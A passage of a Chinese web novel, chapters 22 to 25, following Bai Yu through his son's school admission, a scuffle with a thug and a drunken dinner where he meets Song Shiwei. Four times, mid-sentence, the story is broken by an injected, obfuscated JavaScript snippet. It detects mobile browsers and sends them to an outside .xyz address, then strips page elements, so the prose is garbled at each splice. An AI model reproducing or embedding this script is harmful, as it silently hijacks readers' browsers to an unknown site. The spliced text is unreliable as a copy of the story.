白榆走到洗手池前,打开龙头,往自己脸上扑了好几把凉水。 看着镜子里的自己,白榆现在恨不得找面墙一头撞死算了。 他刚才到底在干什么啊! 22. 第 22 章 白榆虽然听不懂,但也明白这个手势的意思,站直了身子,微微弯腰,和对方握了握手。 老先生笑的入沐春风,就差把‘慈爱’两个字写在脸上了,“#@¥%。” 白榆:“。” 白榆木着脸想道,可能对方说中文烫嘴。 白予安哒哒哒的跑到白榆跟前,拉了拉他的衣摆,小声给他翻译,“爸爸,校长爷爷说要带我们去学校里转转。” 白榆:“啊?” 老先生笑着点了点头,终于切换回中文模式,彬彬有礼的问道,“白先生,您接下来有时间吗?” “啊。”白榆回过神了,缓缓点头,“有,有的。” * * * “这里是校史馆。”老校长看着校史馆门前立着的八个国家的国旗,意有所指的说道,“我校和超过八个国家都有合作关系,近三分之一都是外籍学生。在申请国外高校方面,这么多年,我校一直颇有口碑。” 白榆鼓掌,“厉害。” “这里是校图书馆之一,一到三楼会展示一些学生社会实践的照片。”老校长刻意强调,“学校非常重视挖掘孩子们的兴趣爱好,丰富他们的人生体验。国际公益组织、海外知名夏列营、行业巨头公司都和我校有长期联系。” 白榆继续鼓掌,“厉害。” “这里学校的餐厅,学校专门聘请了营养师精心搭配蔚孩子们规划餐食。在顾及营养健康的同时,我们也会关心每位学生的喜好。” 白榆照例鼓掌,“厉害。” 白榆不知道是不是自己面试完,开始摆了,反正他现在完全处于状态外,甚至有些麻木。 他也不知道这位老先生要干什么,总之……夸就完了。 老校长忐忑的看着对面的年轻人。 他实在没想到对方年纪轻轻的,居然这么能沉得住气,他都带着对方转那么久了,明里暗里不知道暗示多少次了,对方居然连一点反应都没有。 老校长心中做好了要打一场艰苦战的准备,示意服务生端一份午餐过来,向白榆提议,“已经到中午了,您不妨在这里就餐?” 老校长低下头,对坐在小椅子上的白予安笑笑,“安安同学也在这里吃吧。” “谢谢。”白榆一时没反应过来称呼的问题。 老校长有些耐不住的问道:“您觉得我们学校怎么样。” 白榆非常真诚的说,“很好。” 老校长:很好是什么意思?这个人怎么滴水不漏的! 服务生将餐盘摆在桌上。 白榆看着面前,营养均衡,搭配得当,色彩鲜明……少盐少油的食物,果断的拿起了一旁的蔬菜汁。 一会回去吃什么好? 烧烤、串串、麻辣烫。 最近垃圾食品是不是吃太多了? 小孩还是要补充些营养比较好吧。 白榆神游天外的想道。 老校长最终还是先沉不住气了,恳切的说道:“请您一定要相信我们学校,我们有能力将您的孩子培养成优秀的人才。” 白榆差点把嘴里的蔬菜汁喷出来。 他在说什么? 自己现在怎么连中文都听不懂了! 白榆拿起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490804|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的餐巾,遮住嘴,弯着腰猛烈咳嗽。 “我知道像白予安这样优秀的孩子,您这样优秀的家长,一定还有很多选择。”老校长言真意切的拍彩虹屁,极力推销,“但请相信我们学校,哪怕在整个苏城我们学校也是数一数二的学校。” 刚止住咳嗽的白榆:“咳咳咳,咳咳!” 救命! 接下来的半个小时,老校长用一种真诚,毫不虚伪,感人肺腑的语言,从多个方面向白榆详细讲解了白予安到底有多么的优秀,他到底是多么优秀的家长,而这么优秀的孩子选择他们学校是多么明智的选择。 直到白榆昏昏沉沉的跟对方签了入学协议后,他终于离开了这所学校。 “勇者,你就乖乖投降吧。没有人能打败我。” “啪。” “啊,我的眼睛,我的眼睛。该死的勇士我一定要你好看。” 白榆沉默的坐在,听着他家崽在后座换着语气和布娃娃玩游戏的声音,由衷的感觉到人生真的玄幻。 白榆的手机忽然响了起来,他看了眼屏幕,是谢昀澈的电话。 “喂。”白榆的声音有点飘。 谢昀澈听出了白榆的声音不对,以为他是面试表现不好,想了想,安慰道:“结束了吗,出来吃点东西吧,现在结果还不知道,先不要想太多了。” 白榆抬头望着车顶,有一种在做梦的感觉,“不,我们已经被录取了。” 谢昀澈以为是自己没听清,“什么?” 白榆顿了顿,继续补充,“校长亲自录取的。” 谢昀澈:“啊?!” 23. 第 23 章 其实不只谢昀澈是这个反应,白榆现在自己脑子里都还是懵的。 白榆手肘撑在方向盘上,扯着头发,心焦力疲的说道:“总之,事情比较……神奇,我改天在和你说。” “我先挂了。”说完,白榆没等对方说话,直接挂断了电话。 他现在需要静静。 “勇者,我回来了,等着受死吧。” “啪啪。” “啊!啊!勇者,你等着,我会回来复仇的!” 白榆:“……” 他静不了。 怎么又回来了,这东西能不能一回合就打死! 白榆叹了口气,微微垂下眼帘,沉默的靠在椅子上。 他现在反应过来了。 刚才白予安和那位老校长说的是意大利语。 虽然他听不懂…… 不过宋时蔚以前不是生活在德国吗,按理来说就算白予安会说第二种外语,也应该是德语。 为什么会是意大利语? 白榆转过身,问道:“安安,你为什么会说意大利语。” 白予安皱起小脸,像是用尽全身的力量思考这个问题一样。 几秒钟后,睁着一双水汪汪的大眼睛,茫然的说,“忘掉了。” 白榆:“。” 他还是需要静静。 白榆有气无力的捂脸,“那你还会别的语言吗?” “安安会很多很多。”白予安把手上的玩具放下,站起来兴奋的用两只手在半空中扑腾。 说完,小崽崽插着腰,殷切切的望着白榆,两只眼睛里写满了‘快夸我,快夸我’。 白榆摸了摸自己脆弱的小心脏,干涩的说道:“真棒。” 白予安重新坐下,两只小脚脚则忍不住的摇啊摇。 不知道过了多久,白榆艰难的问,“崽,你有没有发现你……很聪明。” “嗯?”白予安停下拿手中一个玩偶殴打另一个玩偶的动作,眨巴眨巴自己的大眼睛,非常自然的点点头,“嗯,安安很聪明。安安还很可爱。” 白榆:“。” 白予安这个反应反倒弄的白榆不知道该说什么了? “我不是这个意思。”白榆木然的摇头。 “我是说……”白榆换了一种更直接的说法,“你有没有发现,你比周围的小朋友要聪明。” “嗯。”白予安小鸡啄米式点头,平静又自然的说道,“安安比很多很多人都聪明。” 说完,白予安又开始热衷于让‘勇者’打‘魔王’。 显然玩玩具在白予安心中更重要一点。 白榆:“。” 这个魔王还打不死了是吧? 白榆转过身,用力揉了把脸,开着车离开了幼儿园。 也许是他太大惊小怪了。 不就是自家崽是个天才,不是什么大事……才怪。 白榆有些烦躁的等红灯,思绪开始乱飞。 他忽然觉得压力山大。 甚至很想跑到某乎发个问题——‘孩子太聪明了,做父母的压力太大怎么办?’ 他要不抽空去报个班把那什么意大利语给学了? 白予安要怎么办? 他那么聪明自己带他真的合适吗? 要请家教吗? 在白榆神游天外的时候,红灯已经过去了,后面的车在按喇叭。 白榆回过神,赶紧把车开走。 “爸爸。”车后面传来了奶声奶气的声音。 “啊?”白榆愣了一下才反应过来,疑惑的问道,“怎么了?” “那个魔王死了。” 白予安抱着他仅有的两个布娃娃(谢昀澈送的),小声说道。 “嗯。”白榆点点头,心想。 终于死了。 “那,那安安就只有一个娃娃了。”白予安把玩具娃娃抱的更紧了。 白榆:“?” 怎么了嘛? “爸爸,安安想要新的玩具。”白予安大眼睛可怜巴巴的看着白榆。 白榆这才发现他从来都没有给白予安买过玩具,连忙说道:“买,现在就去买!” 白榆把车停到家门口,带着他家崽,步行到了小区里的玩具店。 白予安在店里挑了一只有他一半大的小狗玩偶,把他新的玩具举在头顶,兴奋的在前面跑。 白榆跟在后面喊,“小心点,别摔倒了。” 跑着跑着,小崽崽忽然停下,兴奋的转身跟他说,“爸爸,这边有沙子。” 白榆看了过去。 白予安不说,他都快忘了,他们小区有一小片沙池。 白予安把玩偶塞到白榆怀里,快乐的一头扎进沙子里。 白榆倒也不急着回家,抱着玩偶坐在一边的长椅上。 他看着白予安把自己弄的全身都是沙子,非但没有生气,反而产生某种奇妙的安宁。 白榆岁月静好的想道,啊,这会要比会说很多外语,睡前非要给他念英文杂志的好多了。 咸鱼.jpg 白予安拿着沙池里自带的小铲子,奋力的挖动,哼哧哼哧的堆起了东西。 白予安堆沙子的水平的,和画画的水平如出一辙。 简称,惨不忍睹。 白榆忍不住笑出了声。 小区的安保很完善,这里也有不少其他的孩子在玩,白榆看了一会,和白予安说了一声后,暂时离开了这,准备到旁边的自动贩卖机上去买两瓶水。 白予安神情专注的用小手拍着他刚堆起来的‘小城堡’。 “喂,小孩。”一道蛮狠的声音在白予安头顶响起,“你知不知道这是谁的地盘” “现在滚开,我还能放过你。”对方双臂环胸蛮狠的说道。 白予安抬起头,发现他对面站着一个胖胖的小哥哥。 安安眨了眨眼睛,想起爸爸给他讲的‘做人要讲礼貌’,开口说,“可是这里是公用的。” 小胖墩明显嚣张跋扈惯了,发现白予安不听自己的,直接一脚踢塌了对方刚堆的‘小城堡’,恶狠狠的说道:“我说是我的地盘,就是我的地盘。” 白予安:●_●# 安安生气了。 安安拿着起一旁的小铲子,铲了一铲子的沙子,冲对方洒了过去。 “你居然……”小胖墩被浇了一身的沙子,被肉肉挤小的眼睛里溢出了泪水。 白予安:哼╭(╯^╰)╮ “我,我是不会放过你的。”小胖墩冲白予安大吼,闭着眼睛,庞大的身躯用力往白予安身上撞去。 安安抱着铲子,赶忙往后躲开,小胖墩结结实实的摔在了沙滩上。 “呜~”小胖墩眼泪汪汪的从地上爬起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你说什么!”那傻逼呲着牙,往地上狠踹了一脚,露出他臂膀上狰狞的肌肉,抬起胳膊往白榆脸上抡。 白榆垂下眼帘没动,一脚踹到对方膝盖上。 在对方快要倒下的时候,白榆抓着对方的衣领,迫使他仰着头看向自己。 华子感觉自己的膝盖被踹的一阵钝痛,勒的喘不过气来,颤巍巍的看着眼前这个毛都没张全的小鬼。 对方脸上没什么表情,冷冷地瞥了他一眼,眼神中带着嘲弄和不屑,对他轻飘飘地吐出几个字,“说你是傻逼。” * * * “滴~呜~~滴~呜~~滴~呜~~” 一位在公园健身的老太太握着警察的手,满脸真诚的说道:“警察同志,那个染着白头发的小伙子,是我们这的住户,我经常见到他,人可好了。今天他本来在这边好好的,结果那个男的,带着一帮人围了过来,话还没说两句就要打他,你说说这不是搞黑/势/力是什么,还好你们来的及时啊,要不然那个小伙子就危险喽。” 被吓的差点尿出来的华子,仰着头冲着老太太大喊,“你放屁,明明是……” 他还没说完,压着他的女警官就用了摁了下他的头,喊道:“闭嘴,快上去。” 警车上,白榆坐在副驾驶上,旁边的警察递了一瓶水给他,温和的说道:“吓着你了吧,别怕一会去警局做个笔录,我们会保护你的。” 白榆看了眼水,“……嗯。” 24. 第 24 章 张大华没杀过人,但身上的确有案底,跟着他鬼混的那帮小弟,平日里也都是派出所的常客。 这种条件下,民警很难不偏向于,眼前这个‘弱小’,‘无助’,‘可怜’的少年。 在加上公园里,上到八十岁的大妈大爷,下到八岁的小朋友,清一色的指认是张大华动手打的人。 于是白榆在自己都不知情的情况下,非常顺利的成为了无辜的受害者。 白榆用力眨了眨眼睛。 就挺突然的。 白榆交代完事情走的时候,张大华正在另一间屋子里接受人民警察亲切的教育。 “我都说了,我没打到他!”张大华表情狰狞,一脚用力的踹在桌子上,把面前的铁桌子踹的不停颤动,“你他妈的怎么就听不懂人话呢?” 坐在他面前的女警察,显然也不是什么软和性子的,见他不配合,直接站了起来,把文件拍到他面前的桌子上,“编,你在编,你怎么不说是你被他打了呢!” “你,你……”张大华被气的涨红了脸。 他张大华出来混这么多年,从来没这么憋屈过! 张大华一拍桌子,猛的站了起来,凶狠的瞪着对面的女警察。 周围的其他警察见到这一幕,皱着眉,喊道:“你干什么呢!” 结果张大华气势汹汹的站起来没两秒,蹭的一下,又重新坐了下来。 警察们:“???” 他干什么呢? 张大华低下头,把自己缩成一团,尽量减小存在感。 看不见我,看不见我。 白榆站在门口,透过门上的小窗户,往里面看。 路过的实习女警以为他是找不到路了,好心的提醒,“前面左转,就可以出去了。” “谢谢。”白榆牵着白予安往前走。 张大华小心翼翼的往外面看一眼,瑟瑟发抖的想道。 好可怕。 白榆从派出所出来,想了一下,说道:“安安,我们叫上你谢昀澈叔叔……和薛楠叔叔,出去庆祝一下吧!” “嗯?”白予安抱着他的毛茸茸的大狗狗,疑惑的歪了歪头。 庆祝什么啊? “庆祝一下,你考上幼儿园。”白榆半蹲下来,拍了拍白予安的头。“我们家宝贝真棒!” 白予安软软的小脸上忽的就红了,用大狗狗挡住自己,小声的说,“嗯!” * * * 庆祝的地点,白榆选了一家别人推荐的养生餐厅,主打的就是一个清淡健康。 “清蒸海河鲜,清炒菜心,鱼头豆腐汤……”薛楠翻着菜谱,吐槽,“我鸽了我师兄专门跑过来的,能给吃点年轻人该吃的东西吗?” 白榆:“我付钱,有的吃的就不错了。” 白榆把菜单上上下下的看了一遍,又原模原样的给了白予安。 他也不想吃这些。不过这两天,他天天带着白予安不是火锅,就是炸串的,今天怎么说也要吃点清淡的了。 看着菜单上的菜,薛楠整个人都丧了起来,发现实在没有自己喜欢的,干脆看都不看把上面仅有的几种饮料都勾上了。 行吧。 没吃的,就喝点东西吧。 白予安:“爸爸,我选好了。” “嗯。”白榆把菜单拿给服务生。 等菜的时候,谢昀澈掏出一个小盒子来,递给白予安,“入学礼物。” 白予安看了眼白榆。 白榆对他点了点头后,白予安接过盒子,礼貌的道谢,“谢谢叔叔。” 谢昀澈看着收下礼物后,咔嚓咔嚓啃菜叶子的小团子,心想。 好乖啊。 明明长的和白榆小时候那么像,居然又乖又软的。 白榆小时候就差把‘离老子远点’写脸上了。 谢昀澈整个心都软了。 “昀澈。”薛楠咽下一块鱼肉,“你刚刚的眼神和我奶奶看她乖孙子一模一样!” 谢昀澈夹了一筷子清炒菜心,放到薛楠的盘子里,没什么感情的说,“闭嘴。” “好的。”薛楠迅速怂了,低头去数盘子里的菜。 白榆沉默的坐在一边。 其实……他也觉得很像。 薛楠吃了没两口,就不想吃了,他闲着没事干,就端着茶杯,看他大侄子。 白予安把盘子里用的白萝卜雕成的装饰花拿走了,啃了起来。 薛楠内心感慨,他侄子真是除了长相,哪都不像白榆。 真不错! 白予安注意到薛楠的视线,叼着萝卜花,看向薛楠。 叔叔为什么看着我啊? 薛楠也看着他。 短短几秒的对视后,脑中叮的一声,某种帮助着薛楠顺利活到现在的直觉上线。 他浑身一僵,迅速转过身。 白予安:“?” 叔叔在干什么? 薛楠一口喝掉了杯子里所有的茶,心有余悸的和谢昀澈小声说道:“昀昀昀,昀澈,我刚刚忽然觉得白予安和我老板好像!你说我是不是脑子出问题了!” 薛楠用力拍了拍胸口。 吓死我了。 这是什么品种的鬼故事。 谢昀澈沉默了半晌,给他盛了一只鱼头放到他碗里。 薛楠疑惑的看着对方,“我不吃鱼头。” “吃点吧。”谢昀澈顿了顿,“补脑。” 薛楠愤愤的说,“我还用补脑吗,我可是……” 还没等薛楠开始说他的辉煌事迹,谢昀澈的手机响了起来。 谢昀澈看了一眼屏幕,说道:“我出去接个电话。” 白榆:“哦,好。” 谢昀澈前脚刚出去后脚服务员就端着一个托盘走了进来。 托盘上透明的瓶子里装着像橙汁一样的饮料,发出淡淡清香。 服务生:“几位点的饮品。” “谢谢。”白榆让出一点位置,方便对方放东西。 白予安好奇的探着小脑袋,看着瓶子亮晶晶的饮料里自己的倒影。 服务生被可爱到了,小声给白予安说,“小孩子不能喝哦。” 白予安似懂非懂的点了点头。 餐桌上,除了白予安外,剩下的两个挑食的大人都不想吃饭。 见饮料来了,薛楠和白榆各自用玻璃杯倒了满满一大杯。 白榆看着杯中的饮料,总觉得有哪里不对。 这好像不是橙汁吧? 薛楠拿着杯子,一口气喝掉了半杯。 白榆犹豫着问了一句,“什么味道?” “不知道?”薛楠觉得自己舌头有点烫,“应该是复合果汁吧,还挺好喝的。” “哦。”白榆也没多想了,端起杯子开始喝‘果汁’。 果汁好像有点烫舌头。 白榆大脑有些迟钝的把舌头吐出来一点,凉了一会后,又喝了一大口。 两人不吃饭的人飞快的喝完了所有的‘果汁’。 “白榆。”薛楠声音怪怪的,“我,我……” “我好苦啊!”说完,薛楠就大声哭了出来,“呜呜呜呜——” 白榆趴在桌子上没理他。 他好想睡觉。 “叔叔。”白予安把自己的狗狗递给薛楠,安慰道,“别哭了。” 薛楠抱着白予安的狗狗,哭的更大声了。 白予安看着自己大狗狗的毛毛被眼泪弄的湿淋淋的,眼睛里也开始积蓄起泪珠来。 要,要坚强,不哭。 小崽崽抿着唇,眼泪汪汪的。 谢昀澈打开门的时候,就看到这样鸡飞狗跳的一幕。 谢昀澈有点懵。 我应该只是出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490806|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去打了个不到二十分钟的电话吧? “怎么了?”谢昀澈走进来,反手关上了房门。 他鼻尖动了动,常年和酒打交道的经历让他瞬间就反应过来了,“你两喝酒了?” 白榆把两只手放在膝盖上,坐的像个乖巧的幼儿园小朋友一样,脸上却没有任何多余的表情,木然的回答,“没喝酒。” 薛楠看了谢昀澈一眼,又把头重新埋回毛绒玩具里,“呜呜呜……” 谢昀澈头疼的捏了下人中。 得,这两个都醉了。 和在缩在角落里抱头痛哭的薛楠比起来,白榆就显得正常多了。 他一动不动的坐在椅子上,安静的看着周围的乱象。 看起来甚至比他平时都要好相处。 白榆从位置上站起来,慢吞吞的说,“我要去上个厕所。” “等一下!”谢昀澈搀扶着薛楠,急忙说道,“我一会带你去。” “不用。”白榆缓慢的往外面走,“我能行。” 谢昀澈:“前面……” 下一秒,砰的一声。 白榆结结实实的撞在了门上。 谢昀澈:“……门还没开。” “知道了。”白榆摸了摸撞得通红的额头,花了好几秒才把门打开,缓慢的往前走。 餐厅很大,里面为了美观,专门用屏风和假的竹子分出一条条小道来,弄的弯弯绕绕的,让人分不清方向。 白榆在外面转了半天,才找到一间卫生间。 上完厕所后,白榆站在洗手台前,眼神涣散的看着镜子里的自己。 冰凉的水从手上不断的冲过,白榆不舒服的眯起眼睛。 头好痛。 舌头好痛。 额头……也好痛 白榆不舒服的眯起眼睛。 难受。 白榆打开卫生间的门,步伐不稳的继续往前走。 没走两步,砰的一声,他又撞到东西了。 白榆生气的想,这次他不是开门了吗,怎么又撞到了。 白榆有些不爽的抬起头,看见了一张熟悉的脸。 宋时蔚下午去了合作的企业一趟,对方提议一起出去吃个饭,因为后面还有长期合作,他也没拒绝,倒是没想到在这里还会遇到‘熟人’。 宋时蔚扶着白榆的肩,防止他摔倒。 白榆被酒精麻痹了的大脑,缓了好久才反应过来。 哦,他没撞到门,他撞到人了。 宋时蔚见白榆站稳了,松开了扶着对方的手,往后退了一步。 白榆盯着对方,没头没尾的冒出来一句,“我没喝酒。” 宋时蔚:这小孩喝醉了。 宋时蔚往旁边让了一点,“自己能走吗?” 白榆不高兴皱了下眉,坚定的说,“当然。” 白榆往前走了没两步,腿一软,差点摔了下去。 “小心。”宋时蔚及时拉住白榆的手腕。 他也没怎么用力,刚一碰上小孩就自己站好了,睁着一双大眼睛望着他。 宋时蔚心里有点想笑。 这属于新型碰瓷吗? 宋时蔚问道:“你之前在哪里,我送你过去。” 白榆没有说话,还是一动不动的看着他。 宋时蔚也不知道自己怎么了,他就这么牵着对方,在餐厅里漫无目的的找人。 偏偏这小孩一喝多了还特别乖,一牵就跟着走。 这要是被卖了怎么办。 白榆被对方牵着,跟在后面盯着看了半天,才反应过来,“你是宋时蔚。” 宋时蔚四处寻找着餐厅的服务生,随意应了声,“嗯” 白榆眨了眨眼,缓慢又坚定的吐出几个字,“老男人。” 白榆困倦的眯了眯眼睛,由嫌不够的又说了一遍,“你怎么这么老。” 25. 第 25 章 宋时蔚气笑了。 无论是在任何场合,宋大教授都能被称得上一声年轻有为,结果现在到了这小孩嘴里,就变成老男人了。 偏偏对方还一点都没有当着别人面说坏话的自觉,蹙着眉头,含糊不清的嘟囔着,“舌头,疼。” 宋时蔚不太想理喝醉的人,拉着对方的手腕打算继续往前走。 然而白榆却不配合了,站在原地就是不动。 宋时蔚无奈的转过身。 这小孩还是和前两次见到的时候一样,冷着张脸,但这次却莫名的看起来……很乖。 宋时蔚为自己天马行空的想法,轻笑了一声。 “疼。”白榆喃喃,吐出一点舌头尖尖,垂下眼眸仔细去观察着自己的舌尖。 这样近的距离,宋时蔚看的很清楚。 白榆和绝大多数低血糖患者一样,唇色比正常人要浅一些。 唇瓣上的舌尖忽然向上卷了一点。 宋时蔚:“你在做什么。” 白榆没理他,继续看自己的舌头。 疼。 白榆莫名有点委屈。 宋时蔚垂眸看着对方。 可能是喝了酒的原因,眼前这人身上泛着薄红,漂亮的眼眸上也多了层涟漪。 看了一会,对方像是注意到他的视线了,不耐烦的往上挑了一眼,殷红的眼尾带着几分锐气扫了过来。 空气仿佛凝结了几秒。 宋时蔚捏住对方的下巴后侧,稍微用了点力,低沉的声音在走道中响起,“别闹了。” 白榆被捏的把舌头缩了回去。 微凉的指尖触在他的下颚,白榆看着那张逼近在他眼前的俊美面孔,恍神了一瞬。 他们离的太近了,仿佛只要在稍微动一下就能亲到对方。 宋时蔚维持着这个动作,好几秒后,才把手放下,重新拉着对方的手腕,“走吧。” * * * 宋时蔚牵着身后的小醉鬼,找到了一位服务员,“你好,这位客人喝醉了,能帮我查一下,他是那个包房的吗?“ “啊。”被叫住的服务生愣了一下,看着面前颜值严重超过平均水准的两人脸红了起来,“好,好的。” “谢谢。”宋时蔚扶着白榆坐在了旁边的沙发上。 想道对方说自己舌头疼的事,宋时蔚转身向旁边的服务生问道,“有牛奶吗,要温的。” “有的。”服务生连忙点头,拿了一杯温牛奶过来。 “来。”宋时蔚用手摸着玻璃杯,确认了温度后把杯子递给白榆。 喝醉了的白榆非常乖的用双手接过杯子,举起来喝了一口,又把杯子放下,蹙起眉,瓮声瓮气的说道:“难闻。” “嗯。”宋时蔚平静的把白榆手里的牛奶杯抽走,放到旁边的桌子上,“喝酸奶吗。” 白榆木着张脸坐在沙发上没说话。 宋时蔚:“麻烦在拿瓶酸奶过来,要常温的。” “哦,好,好的。”服务生的脸更红了。 过了一会,服务生小跑着过来,“先生,您的酸奶。” “谢谢。”宋时蔚把瓶装酸奶的吸管插上去,递给白榆。 白榆拿着酸奶,咬着吸管放在嘴边小口小口的吸着。 宋时蔚自己把那杯剩下的牛奶喝了。 服务生:“先生,我们刚查过了,这位是1042的客人,已经去派人去通知他的朋友了,请您稍等一会。” 宋时蔚把牛奶杯子放下,“谢谢。” * * * 谢昀澈现在简直一个头两个大。 他也不知道那两个人,是怎么把度数那么高的果酒一点违和感都没有的当成果汁喝的。 还把自己喝醉了! 薛楠喝醉后,彻底爆发出了他猿猴的天性,哭天喊地,上窜下跳的。 要是就他一个人还好,偏偏房间里还有一个五岁大的小孩。 白榆出去上个厕所,又上了快二十分钟还没回来。 谢昀澈头疼的揉了揉太阳穴。 早知道他就不应该让白榆一个人出去。 还好有好心人通知餐厅的服务生了。 横跨了大半个餐厅,谢昀澈终于又看到了那头熟悉的白毛,心里松了口气。 谢昀澈向坐在白榆旁边的宋时蔚道谢,“我是他的朋友。刚才真是谢谢你了。” “没事。”宋时蔚从沙发上站起来。 谢昀澈忍不住往宋时蔚身上多停了几眼。 酒吧里最不缺的就是俊男靓女,但像对方这样的他还真没见过几个。 好看的很有韵味。 谢昀澈俯下身,“白榆,能自己走吗,要回去了。” 白榆的眼皮耸拉着,一副半睡不睡的样子,听到有人叫他后,艰难的抬起眼皮,看见眼前熟悉的面孔,口齿不清的叫道:“谢昀澈” “嗯。”谢昀澈见白榆实在是醉的厉害,伸出手准备扶他起来。 白榆没要他扶,自己撑着沙发站起来了。 白榆刚起身,脑子就晕的厉害,差点摔下去。 “能自己走吗?”谢昀澈皱了皱眉,“我要了醒酒汤,一会喝完了,我就送你和安安回家。” 白榆难受的捂着自己的脑袋,嘴硬道:“我没喝酒。” 谢昀澈深吸一口气,告诉自己不要和酒鬼计较,“行,你没喝酒。” 宋时蔚见这两个人的确互相认识,说道:“我先走了。” 谢昀澈扶着白榆,担心他摔着了,“太感谢您了。” 听见熟悉的声音,白榆抬起头,眯着眼睛努力分辨了一下,“宋时蔚。” “嗯。”宋时蔚应了一声,问道,“怎么了?” 白榆没有回答,仿佛只是随便叫了一声,眼睛却一动不动的盯着对方看。 谢昀澈心里一紧,动作诡异的顿了一下。 宋时蔚? 刚才的好印象一下消失了,谢昀澈忽然对对方看不顺眼了起来,用一种堪称挑剔的目光打量着宋时蔚。 一把年龄了,长成这样,一看就是个闷骚。 到底是在外面摸爬打滚多年了,谢昀澈很快就压下了眼底的情绪,淡笑着说道:“我朋友喝醉了,我带他先走了。” 说完,谢昀澈就扶着白榆,准备离开这里。 平心而论,谢昀澈一开始的确觉得白予安是个小麻烦,宋时蔚是个大麻烦,想让白榆把小麻烦丢给大麻烦去处理。但现在想想,白榆有钱又有闲,还是个坚定的不婚主义者,白予安也和绝大多数像他这么大的小孩不一样,聪明懂事到了不可思议的地步。 虽然有些自私,但在谢昀澈看来,白榆一个人养孩子是现在这个情况最好的结果了,这样还多个人陪他。他没有必要多此一举的,替白榆给宋时蔚说这件事了。 “宋时蔚。”白榆身上红红的,拧着眉,小声呢喃,“我,我有事要跟你讲。” 谢昀澈的步子一顿,犹豫了几瞬,还是停了下来。 “什么事?”宋时蔚走近了一点。 白榆把自己半掩的眼睛努力睁开,模糊的说道:“你,我,我们,那个孩子……” “嗯。”宋时蔚耐心的等他说完。 “孩子……”白榆喝醉后的大脑一片泥泞,艰难的组织着词汇,“你,你有孩子。” “你有孩子了。”白榆看着宋时蔚的眼睛,坚定的又重复了一边。 说完这句话,白榆自认为自己的任务已经完成了,合上眼放松下来,毫无征兆的向前倒去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490807|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白榆。”谢昀澈试图去拽住白榆胳膊,却没抓到。 宋时蔚下意识的伸手接住了朝他倒过来的人。 真是喝醉了。 宋时蔚没把醉鬼的话放在心上,伸手把某人快要从他肩膀上掉下去的脑袋往上扶了扶,轻拍了下白榆的后背,“醒醒。” 叫醒无果。 “抱歉。”谢昀澈被白榆刚才的话弄的心惊,以为白榆要现在把事情告诉宋时蔚了。 他后背的冷汗还没下去,深吸了一口气,试图从宋时蔚身上接过白榆,“不好意思,他今晚喝醉了。” “没事。”宋时蔚一只手扶着白榆的后脑勺,防止他的脑袋从肩膀上滚下去。 宋时蔚看着丝毫没有醒来意思的白榆,“我送你们回去吧?” 谢昀澈看着挂在人家身上的发小,沉默了片刻后同意了,“……谢谢。” 宋时蔚稍稍蹲下,手揽着白榆的膝关节用力,把对方的两只腿分开,腰身发力,一只手拖着白榆的臀,另一只手扶着白榆的后背,把白榆贴在身上抱了起来。 白榆的腿很顺从跟着对方的力分开,夹在了宋时蔚的身上,整个人彻底像个树懒一样挂在宋时蔚的身上。 谢昀澈看着两个人现在的姿势眼皮直跳。 白榆以前没喝过酒。 最好他是喝醉之后就把事情都忘了的那种人。 不然……希望他明天想起今天的事不会想死。 他看着稳稳当当的抱着白榆的宋时蔚问道:“要不我们两个换着扶他吧?” 宋时蔚:“没事,他不重。” 宋时蔚这句话不是客气,身上这人的确比他想象中要轻很多。 他拖着白榆的臀,往上抱了抱。 谢昀澈挑了下眉。 白榆就算不重,也是个成年了的男人,上百斤总是有了的。 “这个方向吗?”宋时蔚抱着白榆往前走。 “嗯,对。”谢昀澈跟上,“往这边走。” 谢昀澈有心试探宋时蔚,主动搭话道:“宋先生是和朋友来这吃饭的吗?女朋友吗?” 宋时蔚简单回道:“不是。” “是吗。”谢昀澈笑了笑,笑意却没到眼底,直白的问道,“宋先生有女朋友吗?或者……男朋友?我认识个男的很喜欢宋先生这样的,有兴趣认识一下吗?” 这句话问的有些超过正常的陌生人和陌生人之间的距离了。 宋时蔚的视线落在谢昀澈身上,“我没有谈恋爱的打算。” “不好意思。”谢昀澈撇了宋时蔚一眼,在心底‘呲’了一声。 搞得好像,对男的一点意思都没有一样。 很快就当了他们的包间门口。 谢昀澈从宋时蔚身上接过白榆,扶着白榆客气的说道:“谢谢宋先生了。” 宋时蔚:“不用谢。” 